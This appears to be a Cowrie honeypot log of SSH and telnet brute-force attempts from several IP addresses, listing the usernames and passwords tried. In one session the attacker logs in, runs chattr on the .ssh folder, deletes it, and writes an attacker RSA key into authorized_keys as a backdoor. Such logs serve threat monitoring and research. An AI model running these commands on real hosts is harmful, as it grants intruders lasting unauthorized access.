{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":51774,"dst_ip":"10.17.0.5","dst_port":22,"session":"f91b64eb4fec","protocol":"ssh","message":"New connection: 138.124.158.150:51774 (10.17.0.5:22) [session: f91b64eb4fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:46.743629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:46.748875Z","src_ip":"138.124.158.150","session":"f91b64eb4fec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:46.933423Z","src_ip":"138.124.158.150","session":"f91b64eb4fec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:46.985820Z","src_ip":"103.15.226.202","session":"e07cc3f6cc9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@12345","message":"login attempt [root/server@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:47.698958Z","src_ip":"138.124.158.150","session":"f91b64eb4fec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:48.887727Z","src_ip":"138.124.158.150","session":"f91b64eb4fec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":38962,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea9bd00b99a3","protocol":"ssh","message":"New connection: 20.82.144.240:38962 (159.203.135.109:22) [session: ea9bd00b99a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:17.742323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:17.746979Z","src_ip":"20.82.144.240","session":"ea9bd00b99a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:17.817341Z","src_ip":"20.82.144.240","session":"ea9bd00b99a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"12341234","message":"login attempt [deploy/12341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:18.120826Z","src_ip":"20.82.144.240","session":"ea9bd00b99a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":58910,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3c86bcef4af","protocol":"ssh","message":"New connection: 87.106.29.151:58910 (10.17.0.5:22) [session: a3c86bcef4af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:18.245214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:18.251629Z","src_ip":"87.106.29.151","session":"a3c86bcef4af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:18.347517Z","src_ip":"87.106.29.151","session":"a3c86bcef4af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password@123","message":"login attempt [deploy/password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:18.790824Z","src_ip":"87.106.29.151","session":"a3c86bcef4af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:19.191083Z","src_ip":"20.82.144.240","session":"ea9bd00b99a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:19.890223Z","src_ip":"87.106.29.151","session":"a3c86bcef4af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.48354434967041,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:23.728756Z","src_ip":"212.55.149.117","session":"2c405290db74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.135.47.214","src_port":58930,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc5d5a4f7429","protocol":"telnet","message":"New connection: 24.135.47.214:58930 (10.17.0.5:23) [session: dc5d5a4f7429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:33.041676Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":52110,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4b143668d15","protocol":"ssh","message":"New connection: 27.74.248.52:52110 (10.17.0.5:22) [session: c4b143668d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:40.770144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:41.209773Z","src_ip":"27.74.248.52","session":"c4b143668d15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:41.335287Z","src_ip":"27.74.248.52","session":"c4b143668d15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roottoor","message":"login attempt [root/roottoor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:44.783881Z","src_ip":"27.74.248.52","session":"c4b143668d15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:46.319780Z","src_ip":"27.74.248.52","session":"c4b143668d15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.696592807769775,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:01:53.738142Z","src_ip":"24.135.47.214","session":"dc5d5a4f7429","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":36406,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e9f2eb0580e","protocol":"ssh","message":"New connection: 87.106.29.151:36406 (10.17.0.5:22) [session: 3e9f2eb0580e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:07.630339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:07.635084Z","src_ip":"87.106.29.151","session":"3e9f2eb0580e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:07.729207Z","src_ip":"87.106.29.151","session":"3e9f2eb0580e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"qwe123","message":"login attempt [steam/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:08.138152Z","src_ip":"87.106.29.151","session":"3e9f2eb0580e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:08.368412Z","src_ip":"87.106.29.151","session":"3e9f2eb0580e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:08.371591Z","src_ip":"87.106.29.151","session":"3e9f2eb0580e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:08.375235Z","src_ip":"87.106.29.151","session":"3e9f2eb0580e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:08.472572Z","src_ip":"87.106.29.151","session":"3e9f2eb0580e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:08.700296Z","src_ip":"87.106.29.151","session":"3e9f2eb0580e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:08.703682Z","src_ip":"87.106.29.151","session":"3e9f2eb0580e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:08.808226Z","src_ip":"87.106.29.151","session":"3e9f2eb0580e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:08.812805Z","src_ip":"87.106.29.151","session":"3e9f2eb0580e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":45902,"dst_ip":"10.17.0.5","dst_port":22,"session":"599636e15179","protocol":"ssh","message":"New connection: 87.106.29.151:45902 (10.17.0.5:22) [session: 599636e15179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:08.893226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:08.898252Z","src_ip":"87.106.29.151","session":"599636e15179","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:08.991995Z","src_ip":"87.106.29.151","session":"599636e15179","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:09.397543Z","src_ip":"87.106.29.151","session":"599636e15179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:10.494651Z","src_ip":"87.106.29.151","session":"599636e15179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":45906,"dst_ip":"10.17.0.5","dst_port":22,"session":"98aef3b77668","protocol":"ssh","message":"New connection: 87.106.29.151:45906 (10.17.0.5:22) [session: 98aef3b77668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:10.586629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:10.591211Z","src_ip":"87.106.29.151","session":"98aef3b77668","protocol":"ssh"}
